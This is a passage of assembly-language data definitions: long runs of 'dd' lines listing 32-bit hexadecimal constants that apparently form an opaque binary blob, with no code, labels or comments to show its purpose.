dd 85E507D6h, 0C9127267h, 70F75DF9h, 0E8B338CDh, 80749571h
dd 727B5F7Bh, 15B7D8FBh, 79155587h, 65996437h, 0C26F11Ch
dd 98183F6Dh, 71EB97E2h, 98F4E4EDh, 763B25Ch, 4092E9Fh
dd 0B4151F13h, 1C99FC28h, 76F46C96h, 8E524F1Ah, 58460F7Eh
dd 9DA0C398h, 0F03B3865h
dd 0E793075Fh, 3BECFF0Eh, 5E59B6D7h, 0C65930CBh, 48AA9565h
dd 8E9ADCECh, 48BC85E5h, 6CA0E8CEh, 0C668B794h, 1D3C5BE5h
dd 13A00B42h, 0E30679CEh, 2522E2F3h, 23F25C8Ah, 85252530h
dd 722987F8h, 0B425241Fh, 995E77DEh, 61CD3A96h, 0C3EA4D96h
dd 0EB360327h, 0A57A99D3h, 6D3B39B1h, 0E7EB9C43h, 68942A35h
dd 0FCF85991h, 3BC3234Ch, 9810A779h, 3E2C41BCh, 9E68EA7Fh
dd 0DC15EBB9h, 562E2AEAh, 8E48A70Fh, 9E5B6149h, 0A2154893h
dd 0FC2C73D5h, 14CF837Eh, 7EED57D3h, 4E84B411h, 53EE04h
dd 0CC02F024h, 3E6DAF1Bh, 0EA5F4D3Eh, 7305EED5h, 0FD521C99h
dd 94942080h, 564BF220h, 6592B6B5h, 90BD7948h, 72D125Ch
dd 0B000D18Dh, 0B54A2050h, 1CE35FE6h, 0A2EE9D05h, 736BFD9Ch
dd 8457F280h, 0E822606Dh, 0D6FF84CAh, 6CE7DB62h, 0EC6CD25Dh
dd 0A32C25CFh, 0BF10347Fh, 6C96B352h, 0FEE6A47Ah, 8197293Bh
dd 0EFC889E6h, 9B6FBBE4h, 0EFF4F063h, 0C1F816A9h, 0FC13F3DAh
dd 0E0D42A25h, 3D99AFD2h, 4A11885h, 0A1F69231h, 349C6A56h
dd 55F38CE0h, 0E66A7BB0h, 173C0B91h, 0BF696EEBh, 79228309h
dd 89347EF7h, 7A0EC14Ch, 0A8527D7Bh, 0A8AF969Eh, 0DA75FFDDh
dd 4722F85Dh, 0E8D1B35h, 0D2BD026Eh, 0F47E8A12h, 709DC472h
dd 0F194074h, 4684DE39h, 13982615h, 0B64699FBh, 7230D381h
dd 8FDF1690h, 0C5244722h, 0E86B28B8h, 21A654B4h, 0A82BEF88h
dd 9ACD15Bh, 0D8C17605h, 0D9D31996h, 8E947DEEh, 2CC42FBFh
dd 0EF4046BBh, 0F1096EA4h, 3605895Ah, 0F42AF3FEh, 61E3084Ah
dd 30088AABh, 614E7402h, 389D3D41h, 0FD077D30h, 0A386B219h
dd 8BC0A184h, 202A17E0h, 0F1F28D1h, 2E17F5h, 4DB34F62h
dd 7B9BE759h, 0CAC3D864h, 0E4A4C768h, 86AD6F76h, 26FCAEDCh
dd 3EB19DFBh, 2E936BC6h, 0DCB2CB01h, 8EBEE43Eh, 1B9F6384h
dd 0C1C7A2B7h, 0D10A32DEh, 2B73C16Bh, 3FF4AA37h, 3E41ED65h
dd 0A45CB940h, 3A8529FAh, 2E0D15D6h, 9D97C066h, 0BAB2ABE7h
dd 7B4FBC44h, 7C80F68Fh, 2B0FD9D3h, 0CF7E5849h, 0DA937DCEh
dd 0EC7E880Ah, 0B05CF783h, 26BA1252h, 2FCB3E6Eh, 0BA84A9Ch
dd 1A9F05C2h, 0B54F9079h, 0E69185CDh, 13BE9903h, 60379365h
dd 0A4117903h, 222F7160h, 0AF867753h, 0F004C66Ah, 2EC13160h
dd 647D8BDAh, 0CF7A1B1Ch, 0A639C6CBh, 0B526C542h, 6BCB7616h
dd 33F5956Bh, 9AF4E2Bh, 48D2603Bh, 4391086Bh, 7A8990C5h
dd 9E9B8A09h, 0C6F16A20h, 0F6E0C242h, 2CCCE096h, 0CDC738BBh
dd 4F583061h, 0D637C485h, 13E8584Fh, 0F2933503h, 0DA5CE9DFh
dd 33CF26C1h, 43ED6D31h, 7FA59D5Ch, 4C9BB8CEh, 0AFEB6C0Ch
dd 20697585h, 7D4DCA5Fh, 3F363FB6h, 7A88DBC9h, 0E982F643h
dd 1F87ED71h, 85331BC8h, 1DA82B77h, 0D8549238h, 3BB0DBE2h
dd 0FC169D1Eh, 32142F43h, 873A9B73h, 97EBEF5Ch, 28047445h
dd 0C7D128Ch, 13F667F0h, 918F6C2Bh, 47C611E2h, 366C6700h
dd 208BC059h, 0A04C59C9h, 2F944434h, 742223B1h, 0A6E61CACh
dd 0C89EBF66h, 0D59BF787h, 0EF75029Bh, 904CE6DBh, 0DB3CDEA7h
dd 8A6C495Bh, 55146C9Bh, 3810AE6h, 55F75DACh, 0D020EF2Dh
dd 0D7AB6B5Eh, 4E1F60E6h, 29AE28A1h, 0F1AE4B7Ah, 118B3930h
dd 0A62369B4h, 2AECB8F0h, 16928E78h, 0E693EA28h, 0A601EACEh
dd 94E31B85h, 7AE86762h, 0B19B7CABh, 3833B8A7h, 3C9EE4ACh
dd 0FCE047AAh, 0A631A454h, 330E3C00h, 88FAD28Bh, 7962150Dh
dd 0E26572FCh, 0C07BD096h, 54B33DCh, 1507C281h, 8187E823h
dd 0E5DA8333h, 0F447126Bh, 721EF5A4h, 87C4CBFAh, 9FB5DF74h
dd 2EA1E864h, 56052159h, 55A925F5h, 18CD7823h, 39F01BA9h
dd 0A62C9CE0h, 0FE2BF093h, 0A773EDC8h, 0BBB13682h, 0E0AC43BBh
dd 81071580h, 2E4E8D8Fh, 0E1FBD6EAh, 116A6FF7h, 781C141Eh
dd 0DED45E24h, 0CF95CB5h, 0CE51EABCh, 5DAA27FDh, 55585248h
dd 27C648DFh, 6837813Eh, 6305936Dh, 0EF947E6h, 4372E11Eh
dd 0CA6005CDh, 0C95689B6h, 8D5776E6h, 1ABECC1Bh, 16A27AAFh
dd 1292CD50h, 0ECBBA66Bh, 0F9210BFCh, 0CD0BF749h, 32B43ABCh
dd 8CC6A1A8h, 0E5975214h, 1242E55Fh, 0B7C380B8h, 0ADBB50Bh
dd 27879849h, 44AC07D8h, 0B40FC80Ch, 9F2E5EDBh, 495634F1h
dd 0C2866FC7h, 43664CC2h, 0B0BCCF84h, 4A49DA25h, 7FDAA47Ah
dd 0AE33ACC8h, 56B3FDCFh, 0DC5B272Dh, 2F9D34BBh, 7247C57h
dd 78DC629h, 0D259DE2Ah, 19D4CF0Ch, 768DB443h, 29EE7B35h
dd 0B9D87ABFh, 0A8B4D0E7h, 7681828Bh, 5370268Eh, 0A4E926C0h
dd 0F775CBC2h, 0F674F9D8h, 0B1DF9FCEh, 0C05AA9C7h, 6EC3D81Bh
dd 5B87A869h, 0F6370F0Dh, 4A350F4Bh, 9AD38AADh, 6FBE509Ch
dd 910C3856h, 86CDEA3Ah, 0F2A3B31Ah, 0CE4FFAC5h, 5E10C1E7h
dd 21D6B25Bh, 23A14EB1h, 704CA23Ah, 0E18ABCDAh, 0CED49238h
dd 17880591h, 6AD5D654h, 0CEE623Bh, 1DFF0E7h, 72FC7FF9h
dd 5DAF1E28h, 19D62C3Ch, 6C81BF88h, 72E75D58h, 0F22CEF8Ah
dd 0F9C4806h, 0BD7464D6h, 370529C1h, 119E05B4h, 2998D76Dh
dd 0AA8D890h, 0B2F16FE6h, 3D5C365Ch, 67EE051Bh, 1A0B0645h
dd 1B75E0C3h, 4F3B1F4Ch, 0E64FB031h, 7D6D91E2h, 44EDF3D2h
dd 85F30314h, 440729C5h, 1EFCECEh, 46A2EDF0h, 0FC1549FFh
dd 8705781Bh, 0CAAB6ECAh, 31F18939h, 8713F835h, 526EF51Fh
dd 0E34552A7h, 910FC298h, 65742E69h, 3225981Bh, 81B330E5h
dd 0E7B4613Dh, 3DDC752Bh, 7D22805h, 112B37E9h, 1F682027h
dd 0CA2140CFh, 62EC6B82h, 0AC8AFEECh, 0E8C6CEFFh, 0A4166143h
dd 85F09B2Eh, 0CBAB8E87h, 0D8932765h, 514DB5C6h, 0DFB79B11h
dd 0A5B7C7A4h, 0CFE4283Fh, 0BB57635h, 893F2808h, 0F1231E63h
dd 82C26B0Dh, 0B1A7BABBh, 82491B1Bh, 0D3BFD59Dh, 7A914E1Ch
dd 0B26903B0h, 0BC759616h, 72C205B0h, 3E710FBCh, 1CF3E3D0h
dd 9269EBB1h, 53BF9EC3h, 0FC2D8255h, 4A4975C5h, 0FC49710h
dd 0B3E4D72Ch, 0E2BA9369h, 2528AE39h, 25C4EB8h, 489064C6h
dd 0E537E9BDh, 0B1FAB1BEh, 0EDE849D9h, 0F6967D35h, 6D97916Ah
dd 0DDCE1015h, 69FAA599h, 7FD92A59h, 55A548C7h, 9C788CB7h
dd 0C2461291h, 9205614Fh, 0D8A67EF3h, 0DBF1BF22h, 7C84BA0Ch
dd 0E10DF534h, 0B80F4D66h, 3F9C8D73h, 5FED916Bh, 0B513D723h
dd 0A293C674h, 0A048C415h, 0E8BA55D5h, 47EE28F3h, 288FEDFAh
dd 0FC5F62EBh, 3C6D6ABAh, 76881A01h, 0EA24CC9Eh, 0DF220861h
dd 0B0F485A0h, 0D9E6BDE8h, 0E4BCA968h, 0D51D3BDFh, 381080D2h
dd 2F7C4F19h, 0DB271F59h, 3F863D6Eh, 0A914445h, 6F4D4C58h
dd 0A77BE144h, 0BA5E3138h, 8EA91C4Eh, 646CD8BEh, 4C4796EAh
dd 0A0B23106h, 5161D04Ah, 0EEBC27DEh, 0EC71B3EEh, 47C86670h
dd 376E49BDh, 2DA8787Eh, 2E42FDAFh, 1995AA74h, 6F1809E0h
dd 0A5321262h, 8A65BD4Dh, 624B5DACh, 92AA4A52h, 0A213349Bh
dd 77CAF5FAh, 0D17BFF73h, 0A2936AA5h, 0E75195C0h, 0B35EE3FCh
dd 0F33D0889h, 0BAC94EBDh, 522263DDh, 0D5334398h, 8DDBFFCDh
dd 0C8907287h, 7D65173Ch, 0F223AFD0h, 0BA707B31h, 23AFB01h
dd 1C9A56Fh, 46B3A340h, 0BA58D29Bh, 0A33BE516h, 6DCC05ECh
dd 0D53AE993h, 0EB208044h, 98380AEDh, 76843466h, 0C8FAA5A2h
dd 306B22D5h, 0C6BD786Bh, 1DE3CDC6h, 69822A64h, 2D1EFF94h
dd 1381ED88h, 11B23A30h, 0A5CF1018h, 339AFB58h, 1F37D7D4h
dd 2634606Fh, 0BEDD9A80h
dd 0EBEC878Eh, 4E9DE6C6h, 59EB10C5h, 4AA483A6h, 716CBD90h
dd 611692D5h, 0A9919AAEh, 966FF398h, 0C5FC0DFCh, 6D83996Dh
dd 0DCE30386h, 0B4333572h, 918CC5FBh, 0AF8EE505h, 0B7CBEE55h
dd 0AD197A6Dh, 5078657Eh, 369D2EABh, 0BF902913h, 78F04F87h
dd 7C40C7C3h, 0DB1CF6A6h, 0B1A4639Fh, 5DE890D9h, 0D75AA1A4h
dd 0DFB89077h, 80D404CFh, 9B7D303Eh, 41BC666Eh, 0A908B9FFh
dd 0B24DBD5Fh, 6BC80398h, 0B0BF3545h, 32BCE5A4h, 6CCBC8DDh
dd 5EDF6305h, 0C55E8B3Eh, 0CCA3FF90h, 0F315EE78h, 76186FB5h
dd 0C0FA234h, 35EEED3Ah, 3B111793h, 0F66C81BAh, 4E06B913h
dd 0BF6AF837h, 2304097h, 0E6131E9h, 54F878FDh, 2EB9D9C1h
dd 0EED299Fh, 6C3AADE6h, 0D9357E12h, 8D4E9191h, 0F7870AACh
dd 0F97D7732h, 0C2EF95Dh, 18B15A91h, 4112CAA3h, 4411C711h
dd 0C9755A2Dh, 4B293870h, 81D22F29h, 0E62CBF9Fh, 0BC47B5B3h
dd 128E235Ch, 0FD88AEE4h, 28EDAAC5h, 0D288F4D6h, 9304E680h
dd 9C990045h, 46645BAh, 0A17AA7E2h, 0F4B07BE9h, 0E7ED8D81h
dd 0DC9FD8EEh, 0B4B2350Dh, 0B06B79FBh, 2A4825F1h, 26BCCF51h
dd 8F26D585h, 84A828A1h, 9D932A9h, 94630322h, 4B8EDB93h
dd 0CA3FFA30h, 0CB6A9290h, 3CDB4741h, 3E4CBFECh, 7B95A131h
dd 95ECFB3Ah, 0FE02F416h, 5133FDE4h, 4CE131A6h, 88254CA5h
dd 36F3C22h, 0A668DDFEh, 0FED9FE4Bh, 0A334A8B7h, 0F97DBA5Bh
dd 1E21536Ah, 0A51751CCh, 0D7070DE3h, 0A82A6595h, 0C86C8353h
dd 1AF3FC9Ch, 0A0FA8465h, 0A28D9329h, 0D4801E67h, 1F834323h
dd 2195AAF9h, 567856h, 77A70564h, 0E0233960h, 6241F447h
dd 1B35B84Ah, 0FAA164E7h, 2C760BC1h, 3A2A2158h, 0B36E9653h
dd 2AF00E5h, 9C60DDB1h, 0E8816ECCh, 0DA3BD6CEh, 0A48ED46Ah
dd 4B040911h, 73FA7B9Eh, 0AD67F6EEh, 9EEB7418h, 0A7C32799h
dd 129A9E2Ch, 9176FA29h, 5F4D5537h, 61BA1418h, 0DE5E2CA0h
dd 5CE56A97h, 3E421EDDh, 91D3E702h, 5ABE0BB8h, 0E296EA95h
dd 7923591h, 3E0857E5h, 82679B6Dh, 0BD54560h, 0F8F3DCB1h
dd 25FC639Fh, 39580FC9h, 5F52F6Ah, 83811199h, 31DCD05Ah
dd 156BFFD3h, 8CEE8A87h, 90A50AE7h, 0E093920Eh, 0DB958567h
dd 0A15F27F5h, 140F9D1Eh, 0EAE65B0h, 41581FBEh, 7A77F550h
dd 0F2090933h, 7DCBAC86h, 0ECBA2F51h, 72BC5779h, 0A93CA100h
dd 755C37DFh, 0F56AC876h, 91ED6565h, 0B5D7742h, 114227FAh
dd 64BC33B7h, 639A7422h, 0E8101FFEh, 84E4014Ah, 3C89F8B2h
dd 9E029437h, 9F077D4Bh, 448D19B6h, 0BBF12043h, 44E1D484h
dd 0E044FF60h, 63442DD9h, 52A3541h, 7BD83B73h, 0DC635AFDh
dd 57A3BC34h, 0D334735Ch, 34D7949Bh, 9519856Bh, 6705AFBh
dd 0FD3E702Eh, 7B299DB2h, 0C78A4802h, 0D91A6359h, 736AF9ECh
dd 0B3E5479Bh, 0D7841BE0h, 0B976F5h, 0CA540034h, 0A256A8F8h
dd 1BC1796h, 0CADF25CDh, 0FBD89327h, 0C4E716CBh, 46D6A63Ch
dd 8BDA3CC9h, 0C79C5154h, 3229F7E2h, 2DE421BCh, 0F3A9DF16h
dd 0B4C037D5h, 0C5D0069Fh, 37DFEF2Dh, 0FD9230EAh, 507EFEBAh
dd 0F017175Dh, 91291BE7h, 0B3005E79h, 7F7F9A87h, 0C9A43D9h
dd 43DCB596h, 9FB1B97Bh, 6D041911h, 2E69B8DAh, 3DA04BB2h
dd 702E33F8h, 83EB3FC7h, 28029B84h, 0B446D0E3h, 725E2F93h
dd 0DB0A8D4Fh, 0D8F79BAAh, 45035006h, 0E10A7059h, 47C3238Fh
dd 0BA426DE0h, 6144183Dh, 0EEF9CFBBh, 5A034934h, 80C4D78Bh
dd 0C5F13969h, 0E506375Dh, 8178CE30h, 168AB037h, 0D646D159h
dd 5572F2CFh, 17D6E25Bh, 71C97504h, 8FFCDB51h, 0F7D737EEh
dd 68099945h, 0C821371Bh, 0DDB4C741h, 8AC2AE8Eh, 8D3639CBh
dd 7442CA83h, 0D353B4F6h, 293213A4h, 17832FEFh, 0E7F47EBBh
dd 0FEBD80A7h, 819435A9h, 0C1F10C2Bh, 754F2FF5h, 911E8926h
dd 87CBE457h, 4A443144h, 0F82FCEA7h, 61DCD468h, 3CDF2026h
dd 0F233FC3Bh, 80E2B3A1h, 30CF0F2Ch, 0F6AC101Ch, 6B3F0AF6h
dd 0D293AA7Eh, 40248C5Fh, 1907BE91h, 10977203h, 0E32E72A0h
dd 0AF90C5B8h, 0D63A3FCDh, 0F33CD3D6h, 95B68127h, 7D00AB4Ah
dd 4D5CB28Bh, 68F75B4Ah, 97A4B978h, 5F7E16A9h, 0CD3D969Bh
dd 6225CD96h, 0ED26543Ah, 3C4C376Fh, 0B9D042E6h, 4EF05F78h
dd 5C8B1A0Ah, 0FB0F5922h, 0E5A549Eh, 1121B2DAh, 5A78B7A7h
dd 0F88DDAC7h, 0E5169A65h, 9E815477h, 743FB2F6h, 45462EFCh
dd 88BEC3BDh, 0D838286h, 84D9C1BBh, 24C9EBBAh, 146C44F4h
dd 626A6B07h, 0C0191D1Fh, 98D3DDB7h, 0B9F91A03h, 0B213632h
dd 639C1B20h, 0F0F8E527h, 0DFBAE56Fh, 588A93DAh, 13C6903h
dd 5B74873Ch, 3C8AF0E3h, 19AE5C81h, 3F18A3FEh, 0AA8AD98h
dd 0CFE5EF60h, 0A30CBF6Fh, 0A2BFA194h, 0F08CCDBCh, 0F3D5373Dh
dd 2645307Dh, 0EDD5DC64h, 0EA5056D2h, 0AE08BAFBh, 0AB6B1FDEh
dd 73BA9331h, 0F02DBEFh, 53DCB570h, 1F42FF3Bh, 0ABD3E76Dh
dd 71F2FF9Eh, 0F0124281h, 4832FDA9h, 6A209DA1h, 0A415D020h
dd 4963A4B8h, 95001E5Ah, 452EF51Bh, 0E70A41E1h, 4D1DF469h
dd 0D72971FFh, 8609F479h, 0CD9E442Eh, 5D44EED4h, 0D8FEFE61h
dd 0E056EFEDh, 0E2882438h, 55BBD5F1h, 6F110206h, 86A450D1h
dd 623D6AE0h, 77991ACAh, 0BFFDFE7Eh, 1EF325DBh, 8116D76Eh
dd 0C9337F8Ch, 5A02AA1Dh, 0CA71F2BFh, 0BA4D010Eh, 1301B560h
dd 606DB900h, 4E6263CFh, 3C6307DDh, 7E63219Eh, 4AB6B64h
dd 0E41CA253h, 4E7D24A9h, 5DB49ECCh, 0CC680E10h, 85ADA575h
dd 302D8241h, 35C61279h, 6470A292h, 7D00F16Fh, 1BFF159Bh
dd 0F49AE20Fh, 0AE1383ABh, 6D3DC802h, 52A0214Fh, 1532ACF8h
dd 1E17D3DDh, 0E3A954F1h, 7ECAB52h, 5E3F3C43h, 0AF63522Dh
dd 0B34DDADFh, 994194F9h, 0A746F2F8h, 0D3DB2B1Ah, 0A70F9401h
dd 7B98B203h, 17E20CB8h, 462C36FEh, 0A5512D33h, 0CE65A070h
dd 1C0C7BFEh, 5DFE49F1h, 25C5B017h, 8AACB740h, 48EE4648h
dd 43BBB880h, 949A5FB8h, 0FDF5D05Eh, 0D3458561h, 0D4589F0Ah
dd 0B19C91D3h, 0F6448D29h, 6CFB441Ch, 2893F05Fh, 0A23AA0D5h
dd 4D590234h, 965DE79h, 0B5722109h, 0C0471A99h, 5792EE11h
dd 7B9C1E83h, 46976A1Bh, 0C97640A6h, 53505B75h, 8559586h
dd 686C35E4h, 65AD6C62h, 2D3EE54Bh, 506BAC5Fh, 0DA0A6B51h
dd 1A21C092h, 0B04496A4h, 0B79797C1h, 0BF4B5EF6h, 1B099B6Fh
dd 7EFD1D6Bh, 0FCABA412h, 9D34B52h, 87DCEF52h, 87090EFAh
dd 32BB445Bh, 617653DAh, 61A4255Eh, 0DDD2A34Fh, 22AF87F0h
dd 10CDBDF9h, 0FD9DD6C1h, 192E1824h, 0A9DFD902h, 61273671h
dd 7E8E6682h, 8772600Dh, 0C7C0BB43h, 0B347E2A4h, 0BCAC5B3Bh
dd 6A77ADF2h, 70614BD3h, 0B9604C7Ch, 27B9D1Fh, 5C5D52B0h
dd 5910D47Ah, 0C0E1A6BBh, 976526F8h, 0B594ED97h, 80FE62BFh
dd 57AE06h, 7CF61D4Bh, 0B323047Ah, 0CF731AF4h, 0B59BB5CDh
dd 4D8C58Eh, 14E67808h, 8D3B3D9Ah, 8FA393CAh, 72F90B9Eh
dd 2894067Eh, 0D85B2D5Ah, 0DA62F7C5h, 5DC81A93h, 0C132E628h
dd 78529B30h, 0C2B5739Fh, 8FF56736h, 8FE0CC79h, 0B62B9E58h
dd 169689CBh, 5E672C7Bh, 3850A3ACh, 199FECA0h, 3A4D921Fh
dd 9D68A24Ah, 8601E9FEh, 0FBB70F18h, 2D59FCDEh, 36E4AD10h
dd 0B9F44D1Ch, 0E45C8FB4h, 10214E37h, 633008B4h, 3A2A983Fh
dd 0CBB86874h, 0FC5F2A11h, 0D96370A5h, 9B83B2Ah, 0B025610Dh
dd 4864C98Dh, 70BA76A7h
dd 1DFDEA57h, 84E23F41h, 49A75265h, 0B1FD56E4h, 0E9647C11h
dd 423223CAh, 618BA6E5h, 56EAADFDh, 0E8D48F6Dh, 99D9BEB6h
dd 0E38C51A9h, 111B526Eh, 79DCBEDEh, 34814BFEh, 251A2290h
dd 0B56E229Fh, 3915DB8Eh, 0A056ED7Ch, 0FBCFD603h, 7731C672h
dd 562FC903h, 0D210A09Eh, 8C19525Eh, 961739EFh, 73C9C391h
dd 0EBEDA0C5h, 7F8950A1h, 507F007Fh, 0B3C10C5h, 66751878h
dd 965304DAh, 3FAF9800h, 7AB221Dh, 0FE3DCC36h, 703D5299h
dd 914109A5h, 71A9C832h, 9B657AF2h, 0FA24D880h, 2356CB5Fh
dd 89CA039Bh, 0AB3D79FBh, 6B681E2h, 68CFAEC7h, 0FAD22F5Dh
dd 0BBA80C14h, 5CC2FABAh, 41E04472h, 0FC9691A3h, 869B2611h
dd 0EEB21CCEh, 590CB1BFh, 0BA2B6671h, 90C62B35h, 0FA455F96h
dd 0ED46A963h, 0CAC681A2h, 3C13261Fh, 9448E3B1h, 263614F5h
dd 5FD27CAEh, 0BBDBB385h, 0D672FECBh, 9400A379h, 0D85BEC30h
dd 0C2CFE26Dh, 73677C9Ch, 11C33CEh, 2C8B00A3h, 4F7A5452h
dd 0EEF2492Bh, 6752E91Fh, 7F8583A1h, 0F6D4FF47h, 161BF4A4h
dd 7245D883h, 0B28D02DEh, 71F0C687h, 0D8B5E0D9h, 65A97257h
dd 641DDF1Fh, 7AEA6F3Bh, 42B09C15h, 445AC200h, 0E6CF29A4h
dd 44E04621h, 0FB951CA6h, 3584164Fh, 0F92B3BC7h, 6D9044B4h
dd 0B97CD035h, 7D4F9745h, 0F7236A11h, 2722761Fh, 0B28F5F8Ch
dd 2A38FC26h, 0A544488Ch, 62B7178Dh, 29D0C634h, 40CCA189h
dd 1CF7FC70h, 8F97364Eh, 3836E3C0h, 76B04BA0h, 8938A9B4h
dd 79FC06DEh, 0AC02FDF0h, 0E4A692E7h, 8970A1DEh, 85E4A180h
dd 0FF72E3CDh, 2956AA12h, 630CE807h, 8F127B19h, 656BE9C1h
dd 0DB569162h, 0C252ACF3h, 71D456B5h, 0AC466476h, 936CD38Ah
dd 0FEF6A2FDh, 245AFECAh, 0C97130BFh, 0FF302759h, 796118D4h
dd 45E72446h, 0FE58EC0Ah, 7908EAF4h, 1E74534h, 0E150C361h
dd 0C63F176Eh, 6EDB1F6Dh, 0CB7243A4h, 1754C969h, 0B56B8BD2h
dd 0C905D63Bh, 0F7AE15h, 49C5662Eh, 638C9CC1h, 0FCDB71D0h
dd 4EECCE70h, 746BD888h, 7FBD376Eh, 2C532220h, 0E529A9B9h
dd 93A2F32Ah, 0B5C8EDB5h, 0A76C0B74h, 0B6EC1606h, 0C970F7AAh
dd 83FD1537h, 0CC023659h, 0DA8A8711h, 23537498h, 0D190EDE0h
dd 73CD48DDh, 0DA7508D8h, 93E1D7FEh, 0F40C7228h, 1AF903Fh
dd 1BC74028h, 0E3EEA3EBh, 5059E18Bh, 0AEBF8839h, 72D5C10Fh
dd 886F8794h, 64797C7Eh, 0BD6FF73Dh, 190C1307h, 8D3C2BE4h
dd 11023C75h, 0DE14634Eh, 0D5C3CF6Bh, 0E0DCC94Fh, 0E2A87995h
dd 0AA4FAABBh, 0D56C32C4h, 0DAA22770h, 0F8993E52h, 6C2A8FAAh
dd 4F758BE9h, 0C012CBB4h, 0FDB5C15Bh, 130BDD21h, 95E6B2FDh
dd 909DC91Ah, 0AA6B5BF3h, 0C9F8EEA3h, 0CCE69696h, 9048B4F0h
dd 3CC57611h, 43E3BB1Ah, 0DDB140F8h, 0DB93B3BAh, 0AE6929A6h
dd 0EDA380Eh, 0A0FFB7h, 0AA6AAC89h, 0CC0FC5Ah, 6403E57h
dd 8405A81Ah, 0CF5667EEh, 0BA2A4F50h, 0C561838Eh, 9355557Bh
dd 17B19B86h, 33B7A674h, 4300A893h, 34AF46ACh, 93F76ADFh
dd 60F0ED12h, 0F1DE8DBBh, 3EABD9B0h, 6CB3E670h, 17CEFB21h
dd 0A2976670h, 81AE4630h, 0E2E9273Ah, 386A2BEh, 0CE5FDD3Eh
dd 0F4C35C8h, 8DBEF3AAh, 355F0290h, 55257BC7h, 4C49A973h
dd 49B55356h, 0F09888DDh, 74DFB96Eh, 2B4E6A7h, 0C85210B6h
dd 0A1EA0AEEh, 6DAA4996h, 0DCF71470h, 15EE107Ah, 9E3F1533h
dd 0BDD05C77h, 25B169FBh, 21071715h, 530292D7h, 30E691DAh
dd 0E6E7D511h, 7F55A957h, 0B7AA27EBh, 0AEB2AF42h, 51BAB646h
dd 349B3870h, 0D70B38A3h, 0B01E9D93h, 1BD829D7h, 0A24DB329h
dd 554CA643h, 7E3381DBh, 0C25CDA3Ch, 3F60B46h, 6EFF010Ah
dd 49220B37h, 0E92E95EEh, 7AE51F3Fh, 0BC05A0ABh, 4411E40Eh
dd 0F12DFFE2h, 0E8A8FFD9h, 6F09130Ch, 0EA68A998h, 0D810B79h
dd 0B3B4786Fh, 123ACC5Fh, 489A9109h, 7F999E7Eh, 3ADD905Ah
dd 2D49AC38h, 0A4857143h, 99367529h, 0A8E0E3C1h, 7FB59F32h
dd 0AAF70518h, 52F188BFh, 12E7823Ah, 3FDF6C0Bh, 0DFDA7F66h
dd 0FD7184ADh, 44839522h, 766AEE71h, 0E4524FFBh, 0C505BB3Dh
dd 813CF2B6h, 7A103CC7h, 7089C2D3h, 1DA22F2Ch, 0AE0856D4h
dd 0AC6785B9h, 99A752F0h, 0FDBB095Dh, 59069DB5h, 5855D85Dh
dd 0B40C7E24h, 43B75115h, 99248D06h, 330F3B09h, 0D922F00Dh
dd 0D1C2FCC1h, 13CCEF46h, 0E28247ABh, 0FAA6CAA0h, 0F399C85Fh
dd 50210387h, 555455B7h, 1F84338Ch, 0A651E660h, 0F5467017h
dd 0F16FB86Dh, 0C72790DAh, 7116ED15h, 34580226h, 0C076F196h
dd 6225CE6Ah, 0BE12695Ah, 34A7F2E0h, 0DB098CBCh, 1E48D96Ah
dd 6EF8052h, 6D3C138Eh, 224DCF0Bh, 3EB7BEDBh, 114820E0h
dd 1E5C495Eh, 0F16CD609h, 1E8AD0B8h, 0DF3F6075h, 1ABBB09Ah
dd 3A8B1D5Fh, 94016611h, 33FF8560h, 202E21F4h, 797D9747h
dd 967A0A1h, 143593D8h, 0F5FE39A0h, 90AE2B38h, 0C201887Ah
dd 80A9C736h, 8B520F25h, 0CB61F79h, 6D59BCBDh, 3B74F1Ch
dd 56C4E6C0h, 881D0D9h, 0A0B64CDh, 0F25D8514h, 1E64D2Ah
dd 7979B48Dh, 0D131E860h, 0F8D7CE44h, 4FF8E72Ah, 8F3477h
dd 0D0A6829Bh, 3C7DF6C8h, 5C656866h, 5BD57829h, 4C258BBAh
dd 6C5B2F76h, 7BC0889Bh, 0D811DF00h, 9A8FE5A4h, 1904866Bh
dd 0D70F4E45h, 0B9D4B8D8h, 0D2FA8ED0h, 1A3C125Fh, 8831E62h
dd 1F3A5BCDh, 0E270FBBAh, 0EA5BC994h, 0C55F7BDBh, 52A539B6h
dd 0B9A1902h, 48A11979h, 0DF91B135h, 1C9D130Fh, 0E9A09035h
dd 0C7D92BF7h, 1C19B3Fh, 2FB6D66Bh, 0BD103D2Ch, 9CCC9FBEh
dd 0E96D0F47h, 2AAB8739h, 0F67E06DCh, 8CBA8AE1h, 84A41C50h
dd 0D880E096h, 87666B0Fh, 0F18226Fh, 66D33BBh, 215E1682h
dd 221DC7CAh, 6FB0C173h, 9594923Fh, 62A5F8FDh, 0D1DC18EDh
dd 0D6F4A6F3h, 4031BF3h, 0E8354F2Ah, 0CE987994h, 209CD01Ah
dd 0EAB01DF4h, 83C3F1F0h, 9F6117h, 0A61E7352h, 7DC6243Eh
dd 0DCEDCBB4h, 48D4CEA7h, 47210659h, 100E34AAh, 0AA410F38h
dd 50EDFB22h, 0C8351FD5h, 0FDAFBAD4h, 0C7CF6750h, 0DEA1790Dh
dd 60B3CABh, 6FBFCCA6h, 0FFC6667h, 0FA14E413h, 0BC0E3E8Fh
dd 0C1E79FCFh, 0B6A391DDh, 0CC88D1A7h, 0B42A6B41h, 54E1518h
dd 0BF564F8Ah, 76F8812Bh, 192B8BBDh, 395EF832h, 0F5F23244h
dd 66CC3D58h, 8187BF84h, 0BD03F21h, 0BEBDD256h, 39B71086h
dd 41A95E12h, 33EF8655h, 9ED50C55h, 9C74C8EFh, 0BEB42B56h
dd 0C7EDF228h, 0E94F8C84h, 93008801h, 0D817ADECh, 0A215BE45h
dd 9A446B0Eh, 11968F3Ch, 8D98D43Dh, 0BFC6FAE5h, 12805BC8h
dd 31B06FD9h, 0E836A6B9h, 61897A22h, 24634273h, 6729DE7Bh
dd 0EF64ED3Ah, 4779CC44h, 0F0488E1Eh, 5571FE1Bh, 75BAB416h
dd 6CA5A3E6h, 87007AADh, 78BA866Bh, 39D580D6h, 0C9473348h
dd 66C96ADBh, 1A60D466h, 57450E86h, 2B6D69DBh, 68816DB7h
dd 0E971708Eh, 3F57D2B5h, 93C4AB28h, 7DDA9C8Ch, 38EE321Fh
dd 0A61F2BFBh, 0A5982F6Eh, 0A6C89CFEh, 7CE92285h, 79438ABCh
dd 205700ADh, 9E7FBC2h, 0D38A320Bh, 0AB14C75Bh, 1FDFC5Bh
dd 0B06C9C6Eh, 61F56B3Dh, 63EFDE41h, 6CF530C3h, 0F1F695CCh
dd 5142A04Dh, 715C7993h, 9F1D51C9h, 6769DE8h, 4511399Ah
